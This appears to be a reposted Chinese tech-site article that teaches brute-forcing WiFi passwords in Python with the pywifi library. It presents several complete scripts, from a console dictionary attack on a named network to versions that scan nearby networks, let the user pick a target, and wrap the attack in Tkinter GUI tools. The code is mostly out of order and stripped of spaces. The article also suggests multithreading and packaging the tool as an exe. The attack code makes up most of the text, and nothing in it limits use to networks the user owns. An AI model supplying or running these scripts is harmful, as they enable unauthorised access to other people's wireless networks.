前言
本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解。
无图形界面
先来看看没有图形界面版的爆破脚本。
WIFI爆破
" ,self.onDBClick) self.vbar.grid(row=4,column=1,sticky=NS) #搜索wifi defscans_wifi_list(self):#扫描周围wifi列表 #开始扫描 print("^_^开始扫描附近wifi...") self.iface.scan() time.sleep(15) #在若干秒后获取扫描结果 scanres=self.iface.scan_results() #统计附近被发现的热点数量 nums=len(scanres) print("数量:%s"%(nums)) #实际数据 self.show_scans_wifi_list(scanres) returnscanres #显示wifi列表 defshow_scans_wifi_list(self,scans_res): forindex,wifi_infoinenumerate(scans_res): self.wifi_tree.insert("",'end',values=(index+1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal)) #添加密码文件目录 defadd_mm_file(self): self.filename=tkinter.filedialog.askopenfilename() self.get_value.set(self.filename) #Treeview绑定事件 defonDBClick(self,event): self.sels=event.widget.selection() self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1]) #读取密码字典,进行匹配 defreadPassWord(self): self.getFilePath=self.get_value.get() self.get_wifissid=self.get_wifi_value.get() pwdfilehander=open(self.getFilePath,"r",errors="ignore") whileTrue: try: self.pwdStr=pwdfilehander.readline() ifnotself.pwdStr: break self.bool1=self.connect(self.pwdStr,self.get_wifissid) ifself.bool1: self.res="[*]密码正确!wifi名:%s,匹配密码:%s"%(self.get_wifissid,self.pwdStr) self.get_wifimm_value.set(self.pwdStr) tkinter.messagebox.showinfo('提示','破解成功!!!') print(self.res) break else: self.res="[*]密码错误!wifi名:%s,匹配密码:%s"%(self.get_wifissid,self.pwdStr) print(self.res) time.sleep(3) except: continue #对wifi和密码进行匹配 defconnect(self,pwd_Str,wifi_ssid): #创建wifi链接文件 self.profile=pywifi.Profile() self.profile.ssid=wifi_ssid#wifi名称 self.profile.auth=const.AUTH_ALG_OPEN#网卡的开放 self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法 self.profile.cipher=const.CIPHER_TYPE_CCMP#加密单元 self.profile.key=pwd_Str#密码 self.iface.remove_all_network_profiles()#删除所有的wifi文件 self.tmp_profile=self.iface.add_network_profile(self.profile)#设定新的链接文件 self.iface.connect(self.tmp_profile)#链接 time.sleep(5) ifself.iface.status()==const.IFACE_CONNECTED:#判断是否连接上 isOK=True else: isOK=False self.iface.disconnect()#断开 time.sleep(1) #检查断开状态 assertself.iface.status()in [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE] returnisOK defgui_start(): init_window=Tk() ui=MY_GUI(init_window) print(ui) ui.set_init_window() init_window.mainloop() if__name__=="__main__": gui_start()
脚本运行效果如下:
以上基于 Python 的 GUI 图形界面开发库 Tkinter,实际上 Python 的 GUI 编程可以借助 PyQt5 来自动生成 UI 代码。
总结
本文学习了 Python 暴力破解 WIFI 密码的方法、以及 Python GUI 图形化编程的基础使用。
所演示的代码的不足在于均没有使用多线程进行 WIFI 连接测试,实际上因为 WIFI 连接测试需要一定的耗时(3-5秒),故使用多线程将能减少暴力破解过程的等待时间。
importpywifi frompywifiimportconst importtime importdatetime #测试连接,返回链接结果 defwifiConnect(pwd): #抓取网卡接口 wifi=pywifi.PyWiFi() #获取第一个无线网卡 ifaces=wifi.interfaces()[0] #断开所有连接 ifaces.disconnect() time.sleep(1) wifistatus=ifaces.status() ifwifistatus==const.IFACE_DISCONNECTED: #创建WiFi连接文件 profile=pywifi.Profile() #要连接WiFi的名称 profile.ssid="Tr0e" #网卡的开放状态 profile.auth=const.AUTH_ALG_OPEN #wifi加密算法,一般wifi加密算法为wps profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密单元 profile.cipher=const.CIPHER_TYPE_CCMP #调用密码 profile.key=pwd #删除所有连接过的wifi文件 ifaces.remove_all_network_profiles() #设定新的连接文件 tep_profile=ifaces.add_network_profile(profile) ifaces.connect(tep_profile) #wifi连接时间 time.sleep(2) ififaces.status()==const.IFACE_CONNECTED: returnTrue else: returnFalse else: print("已有wifi连接") #读取密码本 defreadPassword(): success=False print("******************WIFI破解******************") #密码本路径 path="pwd.txt" #打开文件 file=open(path,"r") start=datetime.datetime.now() whileTrue: try: pwd=file.readline() #去除密码的末尾换行符 pwd=pwd.strip(' ') bool=wifiConnect(pwd) ifbool: print("[*]密码已破解:",pwd) print("[*]WiFi已自动连接!!!") success=True break else: #跳出当前循环,进行下一次循环 print("正在破解SSID为%s的WIFI密码,当前校验的密码为:%s"%("Tr0e",pwd)) except: continue end=datetime.datetime.now() if(success): print("[*]本次破解WIFI密码一共用了多长时间:{}".format(end-start)) else: print("[*]很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!") exit(0) if__name__=="__main__": readPassword() 代码运行效果: 脚本优化 以上脚本需内嵌 WIFI 名、爆破字典路径,缺少灵活性。下面进行改造优化:
importpywifi importtime frompywifiimportconst #WiFi扫描模块 defwifi_scan(): #初始化wifi wifi=pywifi.PyWiFi() #使用第一个无线网卡 interface=wifi.interfaces()[0] #开始扫描 interface.scan() foriinrange(4): time.sleep(1) print(' 扫描可用WiFi中,请稍后。。。('+str(3-i),end=')') print(' 扫描完成! '+'-'*38) print(' {:4}{:6}{}'.format('编号','信号强度','wifi名')) #扫描结果,scan_results()返回一个集,存放的是每个wifi对象 bss=interface.scan_results() #存放wifi名的集合 wifi_name_set=set() forwinbss: #解决乱码问题 wifi_name_and_signal=(100+w.signal,w.ssid.encode('raw_unicode_escape').decode('utf-8')) wifi_name_set.add(wifi_name_and_signal) #存入列表并按信号排序 wifi_name_list=list(wifi_name_set) wifi_name_list=sorted(wifi_name_list,key=lambdaa:a[0],reverse=True) num=0 #格式化输出 whilenum< len(wifi_name_list): print(' {:<6d}{:<8d}{}'.format(num,wifi_name_list[num][0],wifi_name_list[num][1])) num+=1 print('-'*38) #返回wifi列表 returnwifi_name_list #WIFI破解模块 defwifi_password_crack(wifi_name): #字典路径 wifi_dic_path=input("请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:") withopen(wifi_dic_path,'r')asf: #遍历密码 forpwdinf: #去除密码的末尾换行符 pwd=pwd.strip(' ') #创建wifi对象 wifi=pywifi.PyWiFi() #创建网卡对象,为第一个wifi网卡 interface=wifi.interfaces()[0] #断开所有wifi连接 interface.disconnect() #等待其断开 whileinterface.status()==4: #当其处于连接状态时,利用循环等待其断开 pass #创建连接文件(对象) profile=pywifi.Profile() #wifi名称 profile.ssid=wifi_name #需要认证 profile.auth=const.AUTH_ALG_OPEN #wifi默认加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher=const.CIPHER_TYPE_CCMP #wifi密码 profile.key=pwd #删除所有wifi连接文件 interface.remove_all_network_profiles() #设置新的wifi连接文件 tmp_profile=interface.add_network_profile(profile) #开始尝试连接 interface.connect(tmp_profile) start_time=time.time() whiletime.time()-start_time< 1.5: #接口状态为4代表连接成功(当尝试时间大于1.5秒之后则为错误密码,经测试测正确密码一般都在1.5秒内连接,若要提高准确性可以设置为2s或以上,相应暴力破解速度就会变慢) ifinterface.status()==4: print(f' 连接成功!密码为:{pwd}') exit(0) else: print(f' 正在利用密码{pwd}尝试破解。',end='') #主函数 defmain(): #退出标致 exit_flag=0 #目标编号 target_num=-1 whilenotexit_flag: try: print('WiFi万能钥匙'.center(35,'-')) #调用扫描模块,返回一个排序后的wifi列表 wifi_list=wifi_scan() #让用户选择要破解的wifi编号,并对用户输入的编号进行判断和异常处理 choose_exit_flag=0 whilenotchoose_exit_flag: try: target_num=int(input('请选择你要尝试破解的wifi:')) #如果要选择的wifi编号在列表内,继续二次判断,否则重新输入 iftarget_numinrange(len(wifi_list)): #二次确认 whilenotchoose_exit_flag: try: choose=str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)')) #对用户输入进行小写处理,并判断 ifchoose.lower()=='y': choose_exit_flag=1 elifchoose.lower()=='n': break #处理用户其它字母输入 else: print('只能输入Y/N哦o(* ̄︶ ̄*)o') #处理用户非字母输入 exceptValueError: print('只能输入Y/N哦o(* ̄︶ ̄*)o') #退出破解 ifchoose_exit_flag==1: break else: print('请重新输入哦(*^▽^*)') exceptValueError: print('只能输入数字哦o(* ̄︶ ̄*)o') #密码破解,传入用户选择的wifi名称 wifi_password_crack(wifi_list[target_num][1]) print('-'*38) exit_flag=1 exceptExceptionase: print(e) raisee if__name__=='__main__': main() 脚本运行效果如下: 上述代码实现了依据信号强度枚举当前附近的所有 WIFI 名称,并且可供用户自主选择需要暴力破解的 WIFI,同时还可灵活指定暴力破解的字典,相对而言体验感提升了不少。进一步也可以将上述脚本打包生成 exe 文件,双击运行效果如下: 图形化界面 下面基于 Python 的 GUI 图形界面开发库 Tkinter 优化上述脚本,实现友好的可视化 WIFI 暴力破解界面工具。关于 Tkinter 库的语法可参见:Python GUI编程(Tkinter)。 简单版UI
fromtkinterimport* frompywifiimportconst importpywifi importtime #主要步骤: #1、获取第一个无线网卡 #2、断开所有的wifi #3、读取密码本 #4、设置睡眠时间 defwificonnect(str,wifiname): #窗口无线对象 wifi=pywifi.PyWiFi() #抓取第一个无线网卡 ifaces=wifi.interfaces()[0] #断开所有的wifi ifaces.disconnect() time.sleep(1) ififaces.status()==const.IFACE_DISCONNECTED: #创建wifi连接文件 profile=pywifi.Profile() profile.ssid=wifiname #wifi的加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) #wifi的密码 profile.key=str #网卡的开发 profile.auth=const.AUTH_ALG_OPEN #加密单元,这里需要写点加密单元否则无法连接 profile.cipher=const.CIPHER_TYPE_CCMP #删除所有的wifi文件 ifaces.remove_all_network_profiles() #设置新的连接文件 tep_profile=ifaces.add_network_profile(profile) #连接 ifaces.connect(tep_profile) time.sleep(3) ififaces.status()==const.IFACE_CONNECTED: returnTrue else: returnFalse defreadPwd(): #获取wiif名称 wifiname=entry.get().strip() path=r'./pwd.txt' file=open(path,'r') whileTrue: try: #读取 mystr=file.readline().strip() #测试连接 bool=wificonnect(mystr,wifiname) ifbool: text.insert(END,'密码正确'+mystr) text.see(END) text.update() file.close() break else: text.insert(END,'密码错误'+mystr) text.see(END) text.update() except: continue #创建窗口 root=Tk() root.title('wifi破解') root.geometry('500x400') #标签 label=Label(root,text='输入要破解的WIFI名称:') #定位 label.grid() #输入控件 entry=Entry(root,font=('微软雅黑',14)) entry.grid(row=0,column=1) #列表控件 text=Listbox(root,font=('微软雅黑',14),width=40,height=10) text.grid(row=1,columnspan=2) #按钮 button=Button(root,text='开始破解',width=20,height=2,command=readPwd) button.grid(row=2,columnspan=2) #显示窗口 root.mainloop() 脚本运行效果: UI升级版 以上图形界面未允许选择密码字典,下面进行优化升级:
fromtkinterimport* fromtkinterimportttk importpywifi frompywifiimportconst importtime importtkinter.filedialog#在Gui中打开文件浏览 importtkinter.messagebox#打开tkiner的消息提醒框 classMY_GUI(): def__init__(self,init_window_name): self.init_window_name=init_window_name #密码文件路径 self.get_value=StringVar()#设置可变内容 #获取破解wifi账号 self.get_wifi_value=StringVar() #获取wifi密码 self.get_wifimm_value=StringVar() #抓取网卡接口 self.wifi=pywifi.PyWiFi() #抓取第一个无线网卡 self.iface=self.wifi.interfaces()[0] #测试链接断开所有链接 self.iface.disconnect() time.sleep(1)#休眠1秒 #测试网卡是否属于断开状态 assertself.iface.status()in [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE] def__str__(self): #自动会调用的函数,返回自身的网卡 return'(WIFI:%s,%s)'%(self.wifi,self.iface.name()) #设置窗口 defset_init_window(self): self.init_window_name.title("WIFI破解工具") self.init_window_name.geometry('+500+200') labelframe=LabelFrame(width=400,height=200,text="配置")#框架,以下对象都是对于labelframe中添加的 labelframe.grid(column=0,row=0,padx=10,pady=10) self.search=Button(labelframe,text="搜索附近WiFi",command=self.scans_wifi_list).grid(column=0,row=0) self.pojie=Button(labelframe,text="开始破解",command=self.readPassWord).grid(column=1,row=0) self.label=Label(labelframe,text="目录路径:").grid(column=0,row=1) self.path=Entry(labelframe,width=12,textvariable=self.get_value).grid(column=1,row=1) self.file=Button(labelframe,text="添加密码文件目录",command=self.add_mm_file).grid(column=2,row=1) self.wifi_text=Label(labelframe,text="WiFi账号:").grid(column=0,row=2) self.wifi_input=Entry(labelframe,width=12,textvariable=self.get_wifi_value).grid(column=1,row=2) self.wifi_mm_text=Label(labelframe,text="WiFi密码:").grid(column=2,row=2) self.wifi_mm_input=Entry(labelframe,width=10,textvariable=self.get_wifimm_value).grid(column=3,row=2,sticky=W) self.wifi_labelframe=LabelFrame(text="wifi列表") self.wifi_labelframe.grid(column=0,row=3,columnspan=4,sticky=NSEW) #定义树形结构与滚动条 self.wifi_tree=ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a","b","c","d")) self.vbar=ttk.Scrollbar(self.wifi_labelframe,orient=VERTICAL,command=self.wifi_tree.yview) self.wifi_tree.configure(yscrollcommand=self.vbar.set) #表格的标题 self.wifi_tree.column("a",width=50,anchor="center") self.wifi_tree.column("b",width=100,anchor="center") self.wifi_tree.column("c",width=100,anchor="center") self.wifi_tree.column("d",width=100,anchor="center") self.wifi_tree.heading("a",text="WiFiID") self.wifi_tree.heading("b",text="SSID") self.wifi_tree.heading("c",text="BSSID") self.wifi_tree.heading("d",text="signal") self.wifi_tree.grid(row=4,column=0,sticky=NSEW) self.wifi_tree.bind("
审核编辑:汤梓红
声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。
举报投诉
-
WIFI
+关注
关注
81文章
5296浏览量
203571 -
python
+关注
关注
56文章
4792浏览量
84627 -
脚本
+关注
关注
1文章
389浏览量
14858
原文标题:用 Python 破解 WiFi 密码,太刺激了!
文章出处:【微信号:magedu-Linux,微信公众号:马哥Linux运维】欢迎添加关注!文章转载请注明出处。
发布评论请先 登录
相关推荐
Labview 如何找回VI的密码.请高手指教.
本帖最后由 wayne_2001 于 2015-3-7 20:00 编辑
我之前写的vi,现在想看下程序,结果不记得密码了,在本论坛中找到一个暴力破解器,太慢了,根本破解了.哪位高手能帮帮忙
发表于 02-28 09:52
labview密码破解
求助,软件是去年改过的不知道谁设置了密码,都说不知道。暴力破解字典实在太大。速度太慢,故求帮助~~PS :网上说的MD5破解,试了下也没成。大神们,求交流~~
发表于 01-19 23:37
labview如何写暴力破解密码 密码4位数 由1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ 如何每次读取一个数进行测试完成后进行下一个测试
labview如何写暴力破解密码 密码4位数 由1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ 如何每次读取一个数进行测试完成后进行下一个测试
发表于 02-17 09:46
何为暴力破解呢
ps:代码复制黏贴即可,有什么问题下方留言,博主会及时回复 !工具:1:笔记本2:USB无线网卡(必备)3:kali系统4:靠谱字典暴力破解法:何为暴力破解呢,其实就是一个一个密码试,直到正确的
发表于 07-15 09:46
神器真能破解WiFi密码?
万能WiFi密码破解器,35元一个!近日,市民崔先生在街头看到有人兜售一款U盘形状的蹭网神器,小贩称此神器能自动搜索附近 WiFi并破解密码
发表于 12-05 05:29
•1819次阅读
如何破解WiFi密码原理是怎么样的
为了安全期间,曝露在身边的WiFi信号都是经过加密的。为了得到这些wifi密码,除了向主人询问之外,那就是破解了。
字符串硬核暴力破解法讲解
1 暴力破解法 在主串A中查找模式串B的出现位置,其中如果A的长度是n,B的长度是m,则n 》 m。当我们暴力匹配时,在主串A中匹配起始位置分别是 0、1、2….n-m 且长度为 m 的 n-m+1
会用kali破解wifi吗?
准备好 [kali] 系统,电脑可以链接无线 wifi!! 使用 Aircrack-ng 进行暴力破解,linux 上已经安装此工具!
如何通过Python来找回wifi密码
管理页面,但是如果你连路由器密码也忘了,那就非常尴尬。 还有一种方法是通过iCloud钥匙串,但这个方法非常麻烦,需要通过备份获取。 今天告诉大家一个最简单的方法:通过
评论